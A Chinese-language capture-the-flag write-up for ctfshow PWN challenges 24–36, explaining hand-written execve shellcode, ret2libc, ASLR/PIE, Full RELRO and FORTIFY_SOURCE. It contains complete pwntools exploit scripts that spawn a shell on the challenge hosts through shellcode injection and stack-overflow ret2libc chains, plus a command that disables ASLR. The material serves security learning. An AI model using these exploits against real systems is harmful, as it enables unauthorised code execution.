可以用pwntools的脚本啊，单纯直接调用函数的，而且pwntools有局限啊，就那用这个pwntools的shellcraft模块生成的shellcode比较晦涩难懂，而且注释放到Kali上比较杂乱，而且没有涉及到汇编语言调用，比较简单我就不用了，我这里手敲shellcode方便大家了解一下底层逻辑：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17

from pwn import * # 导入 pwntools 库
context.log_level = 'debug' # 设置日志级别为调试模式
#io = process('./pwn') # 本地连接
io = remote("pwn.challenge.ctf.show", 28176) # 远程连接
shellcode = asm(
'''
mov eax, 0xb      
mov ecx, 0       
mov edx, 0       
push 0x0068732f  
push 0x6e69622f   
mov ebx, esp    
int 0x80         
''') # 生成一个 Shellcode
io.sendline(shellcode) # 将生成的 Shellcode 发送到目标

io.interactive()

创建一个python文件，输入这些代码放到终端上运行，记得提前打开另外一个窗口进行nc连接远程靶机。

上面其它的python代码没啥可讲的，这是远程交互的模板代码，直接套就好，我现在重在讲解这个手搓的shellcode，它和shellcraft模块产生的shellcode效果一样的，而且还好看懂：

1
2
3
4
5
6
7
8

    mov eax, 0xb      ; syscall号：11对应execve
    mov ecx, 0        ; argv参数为NULL
    mov edx, 0        ; envp参数为NULL
    push 0x0068732f   ; 压栈字符串"/sh\0"（小端序存储）
    push 0x6e69622f   ; 压栈字符串"/bin"（小端序存储）
    mov ebx, esp      ; ebx指向栈顶的"/bin/sh"字符串地址
    int 0x80          ; 触发系统调用

这 7 行代码通过精准设置寄存器和栈数据，完成了execve系统调用的参数准备，最终实现 “用/bin/sh替换当前进程” 的效果，是 CTF 中获取 shell 的基础手段，逻辑清晰且精简（仅 23 字节）。

逐行解析手敲shellcode

思路：注入一段能执行/bin/sh的汇编语言代码

① mov eax, 0xb

• eax寄存器在 32 位 Linux 系统调用中专门用于传递 “系统调用号”（告诉内核要执行哪个系统调用）。
• 0xb是十六进制，转换为十进制是11，而11正是execve系统调用对应的编号（内核通过这个值识别要执行execve）。

② mov ecx, 0

• ecx寄存器用于传递execve的第二个参数argv（参数列表）。
• 传0（即NULL）表示 “没有参数”，等价于在命令行直接输入/bin/sh（不带任何参数）。

③ mov edx, 0

• edx寄存器用于传递execve的第三个参数envp（环境变量列表）。
• 传0（即NULL）表示 “没有环境变量”，内核会使用默认环境变量。

④ push 0x0068732f

• push指令将数据压入栈中（栈是向下增长的内存区域）。

• 1	0x0068732f

  是十六进制的 “小端序” 存储（x86 架构默认小端序，即低地址存低位字节），转换为 ASCII 码：

  • 0x2f → /
  • 0x73 → s
  • 0x68 → h
  • 0x00 → 字符串结束符\0 所以这行实际是往栈上压入字符串"/sh\0"。

⑤ push 0x6e69622f

• 同样是压栈操作，0x6e69622f转换为 ASCII 码：

  • 0x2f → /
  • 0x62 → b
  • 0x69 → i
  • 0x6e → n 所以这行往栈上压入字符串"/bin"。

  结合上一行，栈上现在的内容是"/bin/sh\0"（因为栈先压入"/bin"，再压入"/sh\0"，栈顶到栈底的顺序就是/b/i/n//s/h/\0）。

⑥ mov ebx, esp

• esp是栈指针寄存器，永远指向当前栈顶的地址。
• 经过两次push后，栈顶正好是"/bin/sh\0"字符串的起始地址（第一个字符'/'的位置）。
• 这行指令将栈顶地址存入ebx，而ebx寄存器在execve系统调用中用于传递第一个参数filename（程序路径），所以ebx现在指向我们要执行的"/bin/sh"。

⑦ int 0x80

• int是中断指令，0x80是 Linux 系统调用的中断号。
• 执行这条指令会触发一个软中断，让 CPU 从用户态切换到内核态，内核会根据eax中的系统调用号（11）执行execve，并使用ebx、ecx、edx中的参数。

总之：必须要定义好这几个寄存器，在最底层操作系统运行时都会用到的，这里不详细讲述，反正你知道这几个寄存器一开始就得这么定义就好啦。（不耐烦了）

1
2
3

mov eax, 0xb      
mov ecx, 0       
mov edx, 0        

push压栈时要记得字节限制，因为架构是x32，所以push最多4个字节，也就是push两个：/bin、/sh的地址（不满四个字节如/sh要记得用00填满哦不然会报错）

然后就是记得esp寄存器是动态的…

这是调用pwntools的shellcraft模块的exp：

1
2
3
4
5
6
7

from pwn import *
context.log_level = 'debug'  # 设置日志级别为debug，会输出详细的交互过程
#io = process('./pwn')  # 本地调试时启用，用于启动本地的pwn程序
io = remote("pwn.challenge.ctf.show", 28183)  # 连接远程目标服务，地址为pwn.challenge.ctf.show，端口28183
shellcode = asm(shellcraft.sh())  # 生成一个执行/bin/sh的shellcode
io.sendline(shellcode)  # 将shellcode发送给目标服务
io.interactive()  # 进入交互模式，允许用户与目标服务进行交互（如执行命令）

这是它的shellcode（原版未修改过，直接复制粘贴上来的）：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22

        /* execve(path='/bin///sh', argv=['sh'], envp=0) */
        /* push b'/bin///sh\x00' */
        push 0x68
        push 0x732f2f2f
        push 0x6e69622f
        mov ebx, esp
        /* push argument array ['sh\x00'] */
        /* push 'sh\x00\x00' */
        push 0x1010101
        xor dword ptr [esp], 0x1016972
        xor ecx, ecx
        push ecx /* null terminate */
        push 4
        pop ecx
        add ecx, esp
        push ecx /* 'sh\x00' */
        mov ecx, esp
        xor edx, edx
        /* call execve() */
        push 11 /* 0xb */
        pop eax
        int 0x80

看着确实比较乱…..😅

最后的最后我想对这题做些评价，其实题不难主要是我初次做，讲得比较啰嗦，如果你会手敲shellcode或者调用pwntools的shellcraft模块的话还是很简单秒掉的。只能怪小生太cai了😄

大致思路知道就好，靶机的flag是动态变化的。

PWN_025

题目：开启NX保护，或许可以试试ret2libc

根据题目，也就是说具体攻击手法为：ret2libc

ret2libc攻击

ret2libc 是一种在二进制漏洞利用中的经典技术，全称为 “return - to - libc”，中文可理解为 “返回至 libc 库”，常用于绕过栈不可执行（NX，No - eXecute）保护机制。

ret2libc实现步骤

1. 信息泄漏：通过栈溢出漏洞，结合一些函数（如 write 函数），泄漏出程序中 libc 库函数的真实地址。因为在不同系统中，libc 库加载的基地址是随机的（ASLR 保护机制），但库内函数之间的相对偏移是固定的，所以需要先获取一个已知函数（比如 write ）的真实地址，进而计算出其他函数（如 system ）的地址。
2. 计算关键地址：根据泄漏出的 libc 函数地址，计算出 system 函数地址和 /bin/sh 字符串在内存中的地址。由于 libc 中函数和字符串的相对位置固定，所以可以通过已知函数地址与偏移量来计算其他关键地址。
3. 构造 payload：再次利用栈溢出漏洞，构造合适的 payload。payload 一般包含填充数据（用于填满缓冲区直到覆盖返回地址）、system 函数地址（覆盖返回地址，使程序返回时跳转到 system 函数）、一个无效的返回地址（system 函数执行完后要返回的地址，随便填充一个地址，因为获取到 shell 后通常不会再关注这个返回操作 ）、/bin/sh 字符串的地址（作为 system 函数的参数，这样 system 函数执行时就相当于执行了 system("/bin/sh") ，从而打开一个 shell ）。
4. 发送 payload：将构造好的 payload 发送给存在漏洞的程序，使程序按照攻击者期望的流程执行，最终获取到一个交互式 shell，达到漏洞利用的目的。

checksec一下，发现开了NX保护，也就是说不能用shellcode了。

跟进ctfshow函数：

可以发现buf大小为 132 字节，但read允许读取 0x100（256）字节存在栈溢出漏洞。

跟进write函数：

IDAx32分析，也没有/bin/sh、后门system：

这时候就需要使用利用libc（动态链接库）的system函数和/bin/sh字符串（这题思路很类似PWN_024的编写shellcode一样，程序本身没有后门可入只能从外部链接进这些函数，从而达到进入交互…），这些东西在程序运行时的真实地址计算方法为：@got真实地址 = libc基址 + 偏移，所以要先计算出偏移。

以write函数为例 ，偏移 = 真实地址 - libc基址，真实地址存在write@got、write@got可以通过write@plt来运行这个函数从而泄露出来，libc 版本和基址可以导入 libcSearcher 库来查找计算这里需要去系统学习一下动态链接的过程（有关.got、.plt表的知识），简单画个图说明一下黄色部分是静态的，绿色部分是动态变化的：

elf.got[‘write’]的作用是获取 write函数真实地址的存储位置，即write@got的地址；

elf.plt[‘write’]的作用是获取 write函数跳板地址的存储位置，即write@plt的地址；

具体思路：

1. 解析目标程序的 ELF 文件，读取write@plt的地址 、write@got的地址和ctfshow的函数地址。
2. 以栈溢出漏洞作为入口，跳转到write@plt执行函数泄露write@got的地址，再跳转回ctfshow函数。
3. 读取泄露出的write@got的地址，用 libcSearcher 库查找正确的 libc 版本，再计算偏移。
4. 计算system函数和/bin/sh字符串的真实地址。
5. 继续从ctfshow函数里的栈溢出作为入口，跳转到system函数真实地址，同时将/bin/sh作为参数传入，从而拿到权限。

这里之前我是跳过的，比较难，我做到PWN_044之后才倒回来做的。

PWN044 的利用逻辑是 “先调用 gets 向 bss 段写入 /bin/sh，再调用 system 执行”（类似文档中 PWN044 的 gets 调用场景）。此时调用 gets 仅需其 “函数入口” 即可完成数据写入，无需知道 gets 在 libc 中的真实地址 —— 直接使用 gets 的 PLT 表地址（p32(gets) 本质是 p32(gets_plt)），就能触发 gets 执行，实现写入 /bin/sh 的目标。这就是为什么在PWN_044是直接是p32(gets)，而在这调用write函数是要分.got和.plt，因为它俩功能都不同。

write_plt 负责 “触发 write 执行”，write_got 负责 “提供待泄露的真实地址”，二者缺一不可，因此必须明确区分。

总之：ret2libc 核心逻辑：“泄露地址→计算地址→构造调用”

exp备注版：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60

from pwn import *  # 导入pwntools库，提供漏洞利用常用功能（如连接、打包等）
from LibcSearcher import *  # 导入LibcSearcher，用于根据泄露的函数地址查找对应libc版本
context.log_level = 'debug'  # 设置日志级别为debug，显示详细的交互过程（方便调试）

# 建立与目标服务的连接（远程服务器地址和端口）
io = remote("pwn.challenge.ctf.show", 28298)

# 加载目标二进制文件，获取符号信息（如函数地址、GOT表地址等）
elf = ELF('./pwn')

# 获取main函数的地址（用于第一次溢出后跳回main函数，进行二次攻击）
main = elf.sym['main']

# 获取write函数的GOT表地址（Global Offset Table，存储函数的真实内存地址）
write_got = elf.got['write']

# 获取write函数的PLT表地址（Procedure Linkage Table，用于间接调用函数）
write_plt = elf.plt['write']

# 构造第一次攻击的payload（栈溢出利用）
# 1. 填充缓冲区到返回地址：0x88是缓冲区大小，0x4是ebp寄存器大小（32位程序）
# 2. 返回地址：覆盖为write@plt（调用write函数输出数据）
# 3. write执行完后跳转的地址：main函数（回到程序开头，方便第二次攻击）
# 4. write函数的参数1：文件描述符0（错误！应为1，stdout标准输出，否则无法正确泄露数据）
# 5. write函数的参数2：要泄露的地址（write@got，存储write的真实内存地址）
# 6. write函数的参数3：泄露的字节数（4字节，32位地址长度）
payload = cyclic(0x88+0x4) + p32(write_plt) + p32(main) + p32(1) + p32(write_got) + p32(4)

# 发送第一次payload，触发栈溢出，执行write函数泄露地址
io.sendline(payload)

# 接收泄露的write函数真实地址（4字节，32位），并转换为整数
write = u32(io.recv(4))
print(hex(write))  # 打印泄露的地址（十六进制）

# 使用LibcSearcher根据write函数地址查找对应的libc版本
libc = LibcSearcher('write', write)

# 计算libc的基地址：libc基地址 = 泄露的函数地址 - 该函数在libc中的偏移量
libc_base = write - libc.dump('write')

# 计算system函数的地址：system地址 = libc基地址 + system在libc中的偏移量
system = libc_base + libc.dump('system')

# 计算"/bin/sh"字符串的地址：bin_sh地址 = libc基地址 + 字符串在libc中的偏移量
bin_sh = libc_base + libc.dump('str_bin_sh')

# 构造第二次攻击的payload（获取shell）
# 1. 同样的填充：覆盖缓冲区和ebp
# 2. 返回地址：覆盖为system函数地址（调用system执行命令）
# 3. system执行完后跳转的地址：main函数（可选，不影响shell使用）
# 4. system函数的参数："/bin/sh"字符串的地址（执行该命令获取交互shell）
payload = cyclic(0x88+0x4) + p32(system) + p32(main) + p32(bin_sh)

# 发送第二次payload，触发栈溢出，执行system("/bin/sh")
io.sendline(payload)

# 进入交互模式，与获取的shell进行交互（输入命令等）
io.interactive()
    

原版exp：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18

from pwn import *
from LibcSearcher import *
context(log_level='debug',os='linux',arch='i386')
io = remote("pwn.challenge.ctf.show", 28157)
elf = ELF('./pwn')
main = elf.sym['main']
write_plt = elf.plt['write']
write_got = elf.got['write']
payload = cyclic(0x88+4) + p32(write_plt) + p32(main) + p32(0) + p32(write_got) + p32(4)
io.sendline(payload)
write = u32(io.recv(4))
libc = LibcSearcher('write',write)
libc_base = write - libc.dump('write')
system = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
payload = cyclic(0x88+4) + p32(system) + p32(main) + p32(bin_sh)
io.sendline(payload)
io.interactive()

这部分主要涉及到栈溢出的章节知识点，我已经讲解的很详细很啰嗦了，如果看不懂就跳过吧，把栈溢出搞懂后再跳回来做。我当时也是跳过的，之后再回来写wp的。

感觉强度上来了，做得有点吃力。

PWN_026

题目：设置好 ASLR 保护参数值即可获得flag。为确保flag正确，本题建议用提供虚拟机运行。 PWN libc-2.27.so （提取码show）

这题坑到我了，运行程序发现直接爆flag，交上去发现是假的/(ㄒoㄒ)/~~

IDAx64分析，有system后门函数：

而且可以知道这个flag是有几个printf、puts共同打印出的、字符串由地址拼接（%p打印指针或者地址，以16进制形式）而成。

运行一下：

每次flag都不一样，说明地址一直在变化，也就是地址随机化。

在Linux保护机制有讲过ASLR，关于ASLR保护可以看回PWN-1：ASLR（Address Space Layout Randomization）是一种操作系统级别的安全保护机制，旨在增加软件系统的安全性。它通过随机化程序在内存中的布局，使得攻击者难以准确地确定关键代码和数据的位置。

gdb调试一下，题目早给出了2，在这里单纯演示一下；

1

gdb -q pwn

1

shell cat /proc/sys/kernel/randomize_va_space

虽然 checksec 输出中没有直接的 ASLR 开启状态，但可以结合系统层面的设置（通过 cat/proc/sys/kernel/randomize_va_space 查看，输出 0 表示关闭 ASLR，1 表示部分开启，2 表示完全开启 ）来判断程序运行时的 ASLR 情况。

既然地址随机化保护，我们就把它关掉（记得提权root）：

1

echo 0 > /proc/sys/kernel/randomize_va_space

这里有个点就是我的flag是ctfshow{0x400687_0x400560_0x6032a0_0x7ffff7fbf6b0}

但不知为啥和官方不一样flag:ctfshow{0x400687_0x400560_0x603260_0x7ffff7fd64f0}

但我的程序运行了三次，ASRL也关了，flag出来的是一样的，代表地址是真实的，flag没错的。反正大体思路是正确的。

总之记住：/proc/sys/kernel/randomize_va_space

PWN_027

题目：设置好 ASLR 保护参数值即可获得flag。libc-2.27.so PWN

这题也是一样的，”If the result is 0 or 1, then you get the correct flag!“将ASLR保护的数值改成1或0就好。（套上题的公式）

怪怪的：

官方flag是ctfshow{0x400687_0x400560_0x603260}

欸我发现….0x603260的后面的6变成a了，有点招笑…应该是Kali环境和Ubuntu不同，我去网上查了下，发现大部分PWN的WP都是用Ubuntu解的：

这里的flag就是正常的了。从现在开始我将彻底使用Ubuntu了。

PWN_028

题目：设置好 ASLR 保护参数值即可获得flag；libc-2.27.so、 PWN （show）

这题送分的，ASLR直接关的，flag还是地址拼出来的，那flag就不变得就是真的了。不信可以多运行几次，你看flag会变吗？

flag is :ctfshow{0x400687_0x400560}

PWN_029

题目：ASLR和PIE开启后；libc-2.27.so、 PWN

试着ASLR和PIE保护开启后，地址都会将随机化，这里值得注意的是，由于粒度问题，虽然地址都被随机化了，但是被随机化的都仅仅是某个对象的起始地址，而在其内部还是原来的结构，也就是相对偏移是不会变化的。

1

sysctl -w kernel.randomize_va_space=2  #完全打开ASLR保护

直接运行……

flag（有点长但是对的…）：ctfshow{Address_Space_Layout_Randomization&&Position-Independent_Executable_1s_C0000000000l!}

这题只是让你了解下ASLR和PIE保护的特点，flag不是目的：

PWN_030

题目：关闭PIE后；程序的基地址固定，攻击者可以更容易地确定内存中函数和变量的位置。

checksec一下：没开canary和PIE，开了NX不好用Shellcode。

IDAx32看一下：

buf ，用于存储从标准输入读取的数据。该变量在栈上分配，相对于函数栈帧指针 ebp 的偏移为-0x88 。调用 read 函数从标准输入读取数据。 read 函数的第一个参数是文件描述符，这里使用 0 表示标准输入。第二个参数是指向存储数据的缓冲区的指针，这里是 &buf 。第三个参数是要读取的最大字节数，这里是 0x100u ，即 256 字节，但这char定义buf是132字节，所以存在栈溢出漏洞。

并无找到后门/bin/sh，通过ret2libc，那从栈溢出下手：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60

from pwn import *

context.log_level = 'debug'  # 设置日志级别为debug，显示详细调试信息
context.arch = 'i386'       # 指定目标程序为32位架构

# 连接远程目标服务器，若本地调试可切换为process
io = remote('pwn.challenge.ctf.show', 28121)
# io = process('./pwn')

# 加载目标程序和对应的libc库
elf = ELF('./pwn')                  # 加载漏洞程序
libc = ELF('/home/ctfshow/libc/32bit/libc-2.27.so')  # 加载对应的libc库

# 获取关键地址
write_plt = elf.sym['write']        # 从程序符号表获取write函数的PLT地址（用于调用）
write_got = elf.got['write']        # 从程序全局偏移表获取write函数的GOT地址（存储真实地址）
ctfshow = elf.sym['ctfshow']        # 获取存在栈溢出的ctfshow函数地址（用于二次溢出）

offset = 140  # 溢出偏移：缓冲区大小 + EBP长度，通过调试确定

# 构造第一个payload：泄漏write函数的真实地址
payload1 = flat(
    b'A' * offset,               # 填充缓冲区直到覆盖返回地址
    p32(write_plt),              # 覆盖返回地址为write@plt，调用write函数
    p32(ctfshow),                # write执行完后跳回ctfshow函数，以便再次接收输入
    p32(1),                      # write函数第1个参数：文件描述符1（标准输出）
    p32(write_got),              # write函数第2个参数：要读取的地址（write的GOT表项）
    p32(4)                       # write函数第3个参数：读取字节数（32位地址占4字节）
)

# 发送第一个payload，触发write函数泄漏地址
io.send(payload1)
# 接收泄漏的write函数真实地址（4字节，32位）
write_addr = u32(io.recv(4))
log.success("write address: %#x" % write_addr)  # 打印获取到的write地址

# 计算libc基地址及关键函数地址
libc_base = write_addr - libc.sym['write']  # libc基地址 = write真实地址 - libc中write的偏移
system_addr = libc_base + libc.sym['system']  # system函数地址 = 基地址 + system在libc中的偏移
# /bin/sh字符串地址 = 基地址 + /bin/sh在libc中的偏移
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))

# 打印计算得到的关键地址（调试用）
log.success("libc base: %#x" % libc_base)
log.success("system address: %#x" % system_addr)
log.success("/bin/sh address: %#x" % binsh_addr)

# 构造第二个payload：调用system("/bin/sh")获取shell
payload2 = flat(
    b'B' * offset,               # 再次填充缓冲区到返回地址
    p32(system_addr),            # 覆盖返回地址为system函数地址
    p32(0xdeadbeef),             # system执行后的返回地址（随意填充，不影响功能）
    p32(binsh_addr)              # system函数的参数：/bin/sh字符串地址
)

# 发送第二个payload，触发system调用
io.send(payload2)

# 进入交互模式，与获取到的shell进行交互
io.interactive()

无备注代码：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37

write_got = elf.got['write']

ctfshow = elf.sym['ctfshow']

offset = 140

payload1 = flat(
    b'A' * offset,
    p32(write_plt),
    p32(ctfshow),
    p32(1),
    p32(write_got),
    p32(4)
)

io.send(payload1)
write_addr = u32(io.recv(4))
log.success("write address: %#x" % write_addr)

libc_base = write_addr - libc.sym['write']
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))

log.success("libc base: %#x" % libc_base)
log.success("system address: %#x" % system_addr)
log.success("/bin/sh address: %#x" % binsh_addr)

payload2 = flat(
    b'B' * offset,
    p32(system_addr),
    p32(0xdeadbeef),
    p32(binsh_addr)
)

io.send(payload2)

io.interactive()

需要注意的点：

1
2
3
4

# 获取关键地址
write_plt = elf.sym['write']        # 从程序符号表获取write函数的PLT地址（用于调用）
write_got = elf.got['write']        # 从程序全局偏移表获取write函数的GOT地址（存储真实地址）
ctfshow = elf.sym['ctfshow']        # 获取存在栈溢出的ctfshow函数地址（用于二次溢出）

这里的地址是可以手写的，但我不建议，AI给的是确切地址，这里我给改了，下次AI写脚本，地址一定不要手动硬写出来，帮AI改一下改成自动获取的，比如上面这样，系统会自动获取地址的，这样比较准确不会出错崩溃。

说实话，给我肯定写不到的，不熟悉编写python远程交互脚本，但我可以读懂，我可以用AI帮我写代码，我就把意愿告诉它，把IDA汇编代码以及跟进的函数复制发给它，附上我的思路，不如已经知道是利用栈溢出漏洞编写ret2libc、知道开启了哪些保护、一步步修改得到的。

PWN_031

题目：开启 ASLR 和 PIE 的情况下，仍可能被利用；

这道题是考察关于程序基址和调用约定中ebx的作用，难度偏大

checksec一下，无栈保护：

跟进ctfshow函数：

发现同样的代码，有溢出，似乎可用上题的exp，不过checksec看到的保护是不一样的，exp肯定不一样了….

运行之后莫名其妙，会有报随机化的地址：

IDA看看main函数：

噢我知道了这是main函数的地址，看了看发现和上一题的思路差不多，但保护开了个FULL RELRO。

Full RELRO（RELocation Read-Only）的核心作用是 将程序的 GOT 表（全局偏移表）设置为只读，彻底阻断 “通过修改 GOT 表劫持函数流程” 的攻击方式（如 ret2got、GOT 覆写）。具体影响包括：

1. GOT 表不可写：原本可通过栈溢出修改 GOT 表中函数的地址（比如将 printf 的 GOT 项改为 system），但 Full RELRO 后，写入 GOT 表会触发段错误（权限不足）；
2. 只能 “直接调用函数”：攻击者无法再通过修改 GOT 表间接劫持流程，只能通过栈溢出 构造合法的函数调用栈（比如直接调用 write 泄露地址、system 执行命令），才能完成攻击。

核心逻辑就是栈溢出破坏了栈上保存的原始 ebx 值，必须通过溢出数据将其覆盖回 “正确的正常值”，才能让后续函数调用恢复正常。

回到正题，因为开启了PIE和FULL RELRO保护，使我们的函数调用更繁琐了些，不过思路还是那样，在前面一个main函数的真实地址被泄露了，这里就可以得到elf基址了，这个和libc基址性质差不多的，都是偏移量恒定不变的。

elf基址计算：

1
2
3

elf = ELF("./pwn")
main = int(io.recvline(),16)
elf_base = main - elf.sym['main']

好，现在来计算ebx寄存器的真实地址，先找大概位置：

当然这不是真实地址，因为有PIE保护，下次还是随机的，只是找大概位置在哪。

也就是说ebx = ebp -4在我们栈溢出那块先填充0x88-4，接着覆盖上ebx真实地址不让程序崩溃，再接续后面的流程就好。当然0x88-4等于132，也是s的容量大小。

偏移地址在IDA里用快捷键Ctrl+S查看：

所以ebx真实地址：

1

ebx = elf_base + 0x1FC0

大致思路就是接收main函数的地址，计算出elf基址，再推出ebx真实地址从而能通过栈溢出调用write@plt来泄露自身的write的真实地址，接着得出libc版本及libc基址，进而反推出所需要的后门函数的真实地址。

exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20

from pwn import *
from LibcSearcher import *
context(log_level = 'debug', os = 'linux', arch = 'i386')
io = remote('pwn.challenge.ctf.show',28277)
elf = ELF("./pwn")
main = int(io.recvline(),16)
elf_base = main - elf.sym['main']
write_plt = elf_base + elf.plt['write']
write_got = elf_base + elf.got['write']
ebx = 0x1FC0 + elf_base
payload = cyclic(0x88-4) + p32(ebx) + b'A'*4 + p32(write_plt) + p32(main) + p32(1) + p32(write_got) + p32(4) 
io.send(payload)
write = u32(io.recv(4))
libc = LibcSearcher("write",write)
libc_base = write - libc.dump('write')
system = libc_base + libc.dump('system')
binsh = libc_base + libc.dump("str_bin_sh")
payload = cyclic(0x88+4)  + p32(system) + p32(main) + p32(binsh)
io.sendline(payload)
io.interactive()

标准的 libc（C 标准库）中，不存在 main 函数的偏移量。

要是这题觉得很难，我建议先跳过，等熟悉了栈溢出漏洞利用手法再回来完成这题。

FORTIFY缓冲区边界检查

FORTIFY_SOURCE 是 GCC 提供的一种轻量级缓冲区溢出保护机制，通过对危险函数（如 strcpy、memcpy 等）进行增强检查，降低缓冲区溢出漏洞的利用风险。它有 3 个级别：_FORTIFY_SOURCE=0（关闭）、_FORTIFY_SOURCE=1（基础保护）、_FORTIFY_SOURCE=2（强化保护），各级别区别如下：

• FORTIFY_SOURCE 仅能防护部分已知的危险函数，无法替代 NX、Stack Canary 等更全面的保护机制。
• 必须配合优化选项（-O1/-O2）才能生效，否则编译器会忽略该宏定义。
• 对于动态分配的内存（如 malloc 分配的缓冲区），FORTIFY_SOURCE 无法获取其大小，因此无法防护相关操作（如 memcpy(malloc_buf, src, n)）。

PWN_032

题目：FORTIFY_SOURCE=0：

禁用 Fortify 功能。 不会进行任何额外的安全检查。 可能导致潜在的安全漏洞。

这题主要是在函数逻辑运行，知道运行的原理就好。

IDA分析main：

跟进undefined函数：

可以看到，关键在于成功进入到undefined函数才有机会下一步获得flag：

从main函数出发：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

__fastcall main(int argc, const char **argv, const char **envp)
{
  __gid_t v3; // eax
  const char *v4; // rax
  int v5; // eax
  int num; // [rsp+4h] [rbp-44h] BYREF
  char buf2[11]; // [rsp+Ah] [rbp-3Eh] BYREF
  char buf1[11]; // [rsp+15h] [rbp-33h] BYREF

  v3 = getegid();
  setresgid(v3, v3, v3);
  logo();  
  v4 = argv[1];
  *(_QWORD *)buf1 = *(_QWORD *)v4;//指针
  *(_WORD *)&buf1[8] = *((_WORD *)v4 + 4);//指针
  buf1[10] = v4[10];
  strcpy(buf2, "CTFshowPWN");
  printf("%s %s\n", buf1, buf2);
  v5 = strtol(argv[3], 0LL, 10);
  memcpy(buf1, argv[2], v5);
  strcpy(buf2, argv[1]);
  printf("%s %s\n", buf1, buf2);
  fgets(buf1, 11, _bss_start);
  printf(buf1, &num);
  if ( argc > 4 )
    Undefined();
  return 0;
}

大致是：起初先打印ctfshow的logo信息（其实一开始那个v3把我搞懵了，其实对解题过程没啥帮助的），在最顶端的__fastcall main已经把一些参数给定义了比如argv数组，第一个参数argv[1]被赋给v4，v4作中介把数值传递给了buf1，之后程序将v4[10]数组内容赋值给buf1[10]，接着通过strcpy函数，把字符串“CTFshowPWN”复制/赋值给buf2，printf打印buf1、buf2的当前的字符串内容，最后fget读取_bss_start的11个字符给buf1，打印buf1和num的信息，最后通过if判断argc是否大于4(默认情况下argc是等于1的，因为argv[0]必定存在，我们输入一个参数，argc就会等于2，依次递推)，大于4就进入undefined函数内

因为本题目FORTIFY_SOURCE没有开启，代表我们启动函数直接输入4个参数(这时argc=5 > 4，为什么五个？因为你输入的4个+argc[0] = 5)就行了，而且这4个参数没有长度限制，如果开启FORTIFY_SOURCE就不好说了，因为开启了之后，由于程序存在strcpy和memcpy函数会检测长度，如果长度超过了限制，可能会使程序抛出异常而退出执行。

PWN_033

题目：FORTIFY_SOURCE=1：

启用 Fortify 功能的基本级别。 在编译时进行一些安全检查，如缓冲区边界检查、格式化字符串检查等。 在运行时进行某些检查，如检测函数返回值和大小的一致性。 如果检测到潜在的安全问题，会触发运行时错误，并终止程序执行。

IDAx64分析：

FORTIFY_SOURCE被打开了，代码和PWN_032几乎一样的，memcpy和strcpy这两个函数被替换成了__mencpy_chk和__strcpy__chk安全函数，可以看到这两个函数相比前两个函数只是加上了11LL这个参数加以限制，因为buf1和buf2在声明的时候的长度就是11，所以程序为了防止溢出，使用后两个函数加上这两个数组的长度加以限制以防溢出。

但这不妨碍我们拿flag啊，只要运行./pwnme时输入的字符总长度不超过11就好：

1
2

# argv[1] 长度≤10，argv[3] ≤11，总参数≥5 
$./pwnme "short" "a" "5" "d" "e"

PWN_034

题目：FORTIFY_SOURCE=2：

启用 Fortify 功能的高级级别。 包括基本级别的安全检查，并添加了更多的检查。 在编译时进行更严格的检查，如更精确的缓冲区边界检查。 提供更丰富的编译器警告和错误信息。

IDA分析，题目描述也说了该程序包括基本级别的安全检查，并添加了更多的检查。 在编译时进行更严格的检查，如更精确的缓冲区边界检查。 提供更丰富的编译器警告和错误信息。 使用ida64反编译的加过略微与前两道题目有所不同，大部分还是一样的，还是把危险函数替换成了安全函数。如下：

大致能看出原函数是什么吧，这里就不多解释了…

# 格式化函数与解题操作说明 __printf__chk 函数与 printf 的区别在于：不能使用 %x$n 不连续地打印，也就是说如果要使用 %3$n，则必须同时使用 %1$n 和 %2$n。在使用 %n 的时候会做一些检查。 这涉及到格式化字符串漏洞，但本题不涉及此漏洞，所以对本道题几乎没有阻碍。后续我们还是通过 SSH 连接后运行文件，输入 4 个长度为 1 的参数，不出意外就能拿到 flag！

栈溢出

PWN_035

题目：正式开始栈溢出了，先来一个最最最最简单的吧

用户名为 ctfshow 密码 为 123456 请使用 ssh软件连接

1

ssh ctfshow@题目地址 -p题目端口号

**不是nc连接 **

专用虚拟机镜像，全套在这里，提取码show

checksec一下：

没开canary保护，对应了本章主题——栈溢出。

IDA分析：

跟进函数：

由此可知：ctfshow函数存在栈溢出漏洞，超过104字节就会发生栈溢出；

对于SIGSEGV函数，当栈溢出触发 SIGSEGV 时，sigsegv_handler 函数会被调用，然后触发函数内部——fprintf打印出flag字符串，也正好对应了fget函数读取的flag值。

栈溢出会破坏栈上的 “返回地址”“栈帧信息” 或其他关键内存结构，最终引发非法内存访问（比如函数返回时跳转到无效地址），触发 SIGSEGV 信号。

所以说我们只要在运行的时候给程序打入超过104个的字符串就好，可以是105个“a”。

/bin/sh地址的跳转利用

相较于32位程序，64 位程序调用函数需满足 栈对齐，因此构造 payload 时需注意：

在实际解题中，ret 地址需要针对当前题目动态获取，用 ROPgadget 工具直接搜索程序中的 ret 指令（最常用）：

1

ROPgadget --binary ./pwn | grep ret

PWN_036

题目：存在后门函数，如何利用？

非常不安全！！！！没有canary保护。可以用ret2shellcode、ret2libc。

这题开始怪怪的，找不到/bin/sh的后门，sigsegv_handler 函数没有我们想要的flag，不过在左边函数目录看到熟悉的故人——get_flag函数，直接跟进看看：

